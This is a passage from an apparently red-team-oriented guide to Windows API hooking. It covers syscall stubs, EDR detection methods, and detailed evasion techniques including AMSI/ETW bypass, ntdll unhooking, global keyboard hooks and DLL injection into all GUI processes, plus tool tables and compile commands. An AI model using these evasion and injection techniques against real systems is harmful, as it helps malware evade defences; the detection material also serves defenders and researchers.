// Advanced: use alloca'd stub or shellcode with SSN patched in at runtime
// For PoC: use SysWhispers2/SysWhispers3 which generate complete stubs
return STATUS_SUCCESS;
}
int main(void) {
DWORD ssnAlloc = GetSyscallNumber("NtAllocateVirtualMemory");
DWORD ssnThread = GetSyscallNumber("NtCreateThreadEx");
DWORD ssnWrite = GetSyscallNumber("NtWriteVirtualMemory");
// Use these SSNs in your inline asm stubs
return 0;
}
16.3 Tools for Syscall-Based Evasion
# SysWhispers3 — generates x86/x64 syscall stubs with dynamic SSN
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --preset common -o syscalls
# Output: syscalls.h, syscalls.c, syscallsstubs.asm
# Supports: direct, indirect, random syscall instructions
# Usage in C:
#include "syscalls.h"
SW3_NtAllocateVirtualMemory(handle, &base, 0, &size,
MEM_COMMIT, PAGE_READWRITE);
# Indirect syscall — call a syscall;ret gadget inside ntdll
# so RIP appears to be in ntdll (passes call-stack origin checks)
# FreshyCalls, RecycledGate, TartarusGate implement this
17. Detection & Evasion
17.1 Detection Methods (Blue Team / EDR)
Technique → How EDR Detects It
Inline Hook (JMP patch):
→ Scan function prologues for E9 / FF25 bytes
→ Hash first N bytes of critical functions at startup, re-check periodically
Tools: PE-sieve, pe-bear, process_hacker
IAT Hook:
→ Walk IAT of all modules, verify each pointer lands in expected DLL range
→ Flag pointers that land outside any loaded module (.text section)
Tools: PE-sieve, Moneta
EAT Hook:
→ Compare DLL's EAT entries against disk copy
→ Heuristic: EAT RVA points outside DLL's code section
SetWindowsHookEx (global):
→ ETW event: EtwpCreateEtwThread / SetWindowsHookEx API call
→ DLL injection into unrelated processes flagged
VEH Hook (INT3):
→ INT3 (0xCC) at function start detected by integrity check
→ Abnormal exception rate in process event log
VEH Hook (HWBP):
→ Abnormal EXCEPTION_SINGLE_STEP frequency
→ AddVectoredExceptionHandler call + subsequent #DB faults
→ New: monitor debug register DR0–DR3 via SetThreadContext telemetry
ntdll Unhooking:
→ ReadProcessMemory on a suspended process with ntdll load
→ File I/O on ntdll.dll from disk
→ .text section mismatch (guard page on .text)
Direct Syscall:
→ Call stack analysis: syscall instruction doesn't originate from ntdll
→ Stack walking: no ntdll frame in call stack
Indirect Syscall: solves this by calling a syscall;ret gadget inside ntdll
17.2 Evasion Techniques
Against Inline Hook Detection:
→ Use IAT hooking instead (no function code modification)
→ Use VEH/HWBP (no memory modification)
→ Hook in a rarely-scanned function or code cave
Against IAT Detection:
→ Use inline hook (doesn't touch IAT)
→ Resolve functions via GetProcAddress dynamically (no IAT to patch)
Against SetWindowsHookEx detection:
→ WH_KEYBOARD_LL doesn't inject DLL — stays in your process
→ Use thread-scope hook (specific thread ID, not global)
→ Use manual DLL injection instead
Against HWBP Detection (VEH²):
→ Don't call SetThreadContext directly
→ Force an exception, use a nested VEH to set the second VEH's context
→ Silently sets debug registers without calling SetThreadContext
Against ntdll Unhooking Detection:
→ Read from KnownDlls (no disk I/O)
→ Use selective per-stub unhooking (less footprint)
→ Use direct/indirect syscalls instead of unhooking
Against Direct Syscall Detection:
→ Use INDIRECT syscall (call originates from ntdll gadget → passes origin check)
→ Perun's Fart: JIT unhook → call → re-hook (call stack looks legitimate)
General OPSEC:
→ Unhook/bypass only what you need — minimize footprint
→ Combine techniques: direct syscall for injection + HWBP for AMSI bypass
→ Use sleep encryption between hooks to reduce memory scan exposure
17.3 Quick Detection Commands
# ── Detect hooks in a process with PE-sieve ──────────────────
pe-sieve64.exe /pid 1234 /hooks 1
# Output: Inline hooks, IAT hooks, EAT hooks found in loaded modules
# ── Dump IAT of a running process ────────────────────────────
# In WinDbg (attach to process):
!dh -f <module_base> # dump PE headers
dps @$peb+0x18 # PEB.Ldr
!imports <module> # show all IAT entries
# ── Check ntdll for hooks (PowerShell, quick) ─────────────────
# Compare first bytes of Nt* functions to expected syscall stub
[byte[]]$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Then compare in-memory bytes vs. $ntdll bytes for each Nt* function
# ── Frida — hook any function dynamically (no compilation) ────
frida-trace -p 1234 -i "MessageBoxW" # trace all calls to MessageBoxW
frida-trace -p 1234 -i "Nt*" # trace all Nt* native API calls
# ── Volatility — detect SSDT hooks in memory image ────────────
volatility -f memory.dmp --profile=Win10x64 ssdt
volatility -f memory.dmp --profile=Win10x64 apihooks
# ── Process Hacker / System Informer ─────────────────────────
# Right-click process → Properties → Modules → Inspect IAT
# "Hooks" column shows detected inline/IAT hooks
18. Tools Reference
Hooking Libraries
| Tool | Type | Platform | Notes |
|---|---|---|---|
| Microsoft Detours | Inline hook library | x86/x64/ARM | Official MS library, transaction-based, production-grade |
| MinHook | Inline hook library | x86/x64 | Minimalistic, clean API, v1.3.4 (2025), vcpkg support |
| MinHook-Detours | Hybrid | x86/x64/ARM64 | MinHook API + Detours engine + ARM64 support |
| Frida | Dynamic instrumentation | Multi-platform | Scriptable with JS, no recompile needed |
| EasyHook | Managed hook lib | .NET | Hook from C#, wraps native hooks |
| PolyHook2 | C++ hook lib | x86/x64 | Modern C++17, supports inline/IAT/VEH/VMT |
| wraith-rs | Rust hook framework | x86/x64 | Inline/IAT/EAT/VEH/VMT, full PE pipeline |
Syscall / Unhook Tools
| Tool | Purpose |
|---|---|
| SysWhispers3 | Generates direct/indirect syscall stubs (Python → ASM+C) |
| HellsGate | Dynamic SSN resolution via in-memory ntdll parsing |
| TartarusGate | Dynamic SSN + indirect syscall (handles hooked stubs) |
| RecycledGate | Indirect syscall via Nt/Zw function pairs |
| SharpNtdllOverwrite | C# ntdll unhooking (disk/KnownDlls/debug process) |
| NtUnhook | Selective in-memory syscall stub unhooking |
| UnhookMe | Dynamic import resolver that unhooks on-the-fly |
Detection / Analysis Tools
| Tool | Purpose |
|---|---|
| PE-sieve | Scan process for inline/IAT/EAT hooks, injected code |
| Moneta | Memory scanner — detect hooks, shellcode, anomalies |
| Process Hacker / System Informer | GUI — inspect IAT, loaded DLLs, thread stacks |
| Frida | Dynamic hook inspection and instrumentation |
| WinDbg | Kernel + user-mode debugging, SSDT inspection |
| x64dbg | Usermode debugger, step through hooks manually |
| Volatility | Memory forensics — SSDT hooks, API hooks from dump |
19. Comparison Matrix
| Technique | Complexity | Stealthy | Modifies Code | Modifies IAT | Cross-Process | Kernel Needed | EDR Risk |
|---|---|---|---|---|---|---|---|
| Inline Hook (manual) | Low | Low | YES (JMP) | No | No | No | High (E9 scan) |
| Detours | Low | Low | YES (JMP) | No | With injection | No | High (E9 scan) |
| MinHook | Low | Low | YES (JMP) | No | With injection | No | High (E9 scan) |
| IAT Hook | Medium | Medium | No | YES | Module-scope | No | Medium (IAT scan) |
| EAT Hook | Medium | Medium | No | Yes (EAT) | All callers | No | Medium |
| SetWindowsHookEx (global) | Low | Low | No | No | YES (DLL inj) | No | High (ETW logged) |
| SetWindowsHookEx (LL thread) | Low | Medium | No | No | No | No | Medium |
| VEH INT3 | Medium | Medium | YES (0xCC) | No | No | No | Medium |
| VEH HWBP | Medium-High | High | NO | No | No (per-thread) | No | Medium-Low |
| Page Guard | Medium | Medium | No | No | No | No | Medium |
| VMT Hook | Medium | High | No | No | No | No | Low |
| SSDT Hook | Very High | High | YES (kernel) | No | YES (global) | YES | Very High / PG |
| ntdll Unhook | Medium | Medium | YES (.text) | No | No | No | Medium (detected) |
| Direct Syscall | Medium | High | No | No | No | No | Medium (stack check) |
| Indirect Syscall | High | Very High | No | No | No | No | Low |
20. Cheat Sheet
Quick Workflow — Choose and Apply a Hook
What do you need?
Intercept a Win32 API in a process you control?
→ MinHook (easiest) or Detours (most robust)
→ Target: kernel32 / user32 / advapi32
Monitor all keyboard input globally?
→ SetWindowsHookExW(WH_KEYBOARD_LL, ..., NULL, 0)
→ Message loop required; runs in your own process space
Inject DLL into all GUI processes?
→ SetWindowsHookExW(WH_KEYBOARD, proc, hDll, 0)
→ Windows auto-injects hDll into every process with a message loop
Hide from EDR's function integrity scan?
→ VEH + HWBP (zero memory modification)
→ Or IAT hook (doesn't touch function code)
Bypass EDR hooks on ntdll (NtAllocate, NtCreateThread, etc.)?
→ ntdll unhooking (suspended process method)
→ OR direct syscall (skips ntdll entirely)
→ OR indirect syscall (looks like it came from ntdll)
Intercept C++ virtual method?
→ VMT hook (shadow vtable)
→ Instance-scope, no code modification
Kernel-wide intercept (research / rootkit)?
→ SSDT hooking (Ring 0 driver, bypasses PatchGuard = BSoD risk)
Windows API Quick Reference
// Install message hook
HHOOK SetWindowsHookExW(int idHook, HOOKPROC lpfn,
HINSTANCE hmod, DWORD dwThreadId);
// Remove message hook
BOOL UnhookWindowsHookEx(HHOOK hhk);
// Pass to next hook in chain (MUST call in every hook proc)
LRESULT CallNextHookEx(HHOOK hhk, int nCode,
WPARAM wParam, LPARAM lParam);
// Install VEH (first=1 → high priority)
PVOID AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);
// Remove VEH
ULONG RemoveVectoredExceptionHandler(PVOID Handle);
// Change memory protection (required before writing hooks)
BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize,
DWORD flNewProtect, PDWORD lpflOldProtect);
// Get thread context (for HWBP — sets DR0–DR3)
BOOL GetThreadContext(HANDLE hThread, LPCONTEXT lpContext);
BOOL SetThreadContext(HANDLE hThread, const CONTEXT* lpContext);
Hook Type — Decision Tree
Need to hook an API?
│
├─ Learning / CTF?
│ └─ MinHook or manual inline hook → fast, works fine
│
├─ Red Team — want to avoid EDR detection?
│ ├─ EDR does code integrity check (scans E9/FF25)?
│ │ └─ Use IAT hook or HWBP VEH hook (no code mod)
│ │
│ ├─ Need to bypass ntdll hooks (EDR watching Nt* calls)?
│ │ └─ Direct or indirect syscall
│ │ + optional: ntdll unhook (suspended process method)
│ │
│ └─ Need AMSI / ETW bypass without memory patch?
│ └─ HWBP VEH hook on AmsiScanBuffer / EtwEventWrite
│ + VEH² for silent debug register setup
│
├─ Need global keyboard/mouse monitoring?
│ └─ WH_KEYBOARD_LL / WH_MOUSE_LL via SetWindowsHookExW
│ (stays in your process, no DLL injection)
│
├─ DLL injection via hook mechanism?
│ └─ SetWindowsHookExW(WH_KEYBOARD, proc, hDll, 0)
│ (injects into all GUI processes)
│
├─ Hook C++ virtual dispatch?
│ └─ VMT / shadow VMT hook (instance scope, no code mod)
│
└─ Need kernel-wide intercept (rootkit / research VM)?
└─ SSDT hook via Ring 0 driver
(PatchGuard will BSOD on Win10/11 x64 in production)
Key SSN Values (Windows 10 x64 — 2004+)
Note: SSNs change between Windows versions. Always resolve dynamically.
Function SSN (Win10 2004+)
────────────────────────────── ────────────────
NtAllocateVirtualMemory 0x18
NtCreateThreadEx 0xC7 (approx, varies)
NtWriteVirtualMemory 0x3A
NtCreateProcess 0x4D
NtOpenProcess 0x26
NtReadVirtualMemory 0x3F
NtProtectVirtualMemory 0x50
→ Use SysWhispers3 or Hell's Gate to resolve dynamically per OS version
Common Compile Commands
# MSVC — inline hook DLL
cl.exe /LD hook.c /Fe:hook.dll /link user32.lib kernel32.lib ntdll.lib
# MSVC — hook EXE with Detours
cl.exe hook.c /Fe:hook.exe /I detours\include detours\lib.X64\detours.lib /link user32.lib
# MSVC — with MinHook
cl.exe hook.c /Fe:hook.exe /I minhook\include minhook\bin\MinHook.x64.lib /link user32.lib
# MinGW cross-compile
x86_64-w64-mingw32-gcc hook.c -o hook.exe -luser32 -lkernel32 -lntdll
# Compile + assemble (direct syscall with ASM stub)
ml64.exe /c syscall_stub.asm
cl.exe /c hook.c
link.exe hook.obj syscall_stub.obj /out:hook.exe kernel32.lib ntdll.lib
# Test hooks against Windows Defender
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File hook.exe
# Quick check for E9 inline hook bytes with xxd
xxd -s 0 -l 20 -p hook.dll | grep e9 # look for JMP patches
References & Tools
Hooking Libraries: - Microsoft Detours — https://github.com/microsoft/Detours - MinHook — https://github.com/TsudaKageyu/minhook - MinHook-Detours (ARM64 support) — https://github.com/m417z/minhook-detours - PolyHook2 — https://github.com/stevemk14ebr/PolyHook_2_0 - Frida — https://frida.re (dynamic instrumentation, scriptable)
Syscall / Unhooking: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - SharpNtdllOverwrite — https://github.com/ricardojoserf/SharpNtdllOverwrite - NtUnhook — https://github.com/S12cybersecurity/NtUnhook - LazyHook (HWBP + IAT) — https://github.com/hwbp/LazyHook - mora-hwbp (HWBP AMSI/ETW) — https://github.com/Dovughs/mora-hwbp
Detection / Analysis: - PE-sieve — https://github.com/hasherezade/pe-sieve - Moneta — https://github.com/forrest-orr/moneta - Process Hacker — https://processhacker.sourceforge.io
Further Reading: - Microsoft MSDN — SetWindowsHookEx: https://learn.microsoft.com/windows/win32/api/winuser/nf-winuser-setwindowshookexw - CrowdStrike — Patchless AMSI bypass via VEH: https://www.crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/ - ired.team — API hooking notes: https://www.ired.team - TrustedSec — SetWindowsHookEx DLL injection: https://trustedsec.com/blog/putting-our-hooks-into-windows - rbtsec — Trampoline / IAT / Inline Patching: https://www.rbtsec.com/blog/api-hooking-techniques-trampoline-hooks-iat-hooking-and-inline-patching-copy/ - Sektor7 Malware Development courses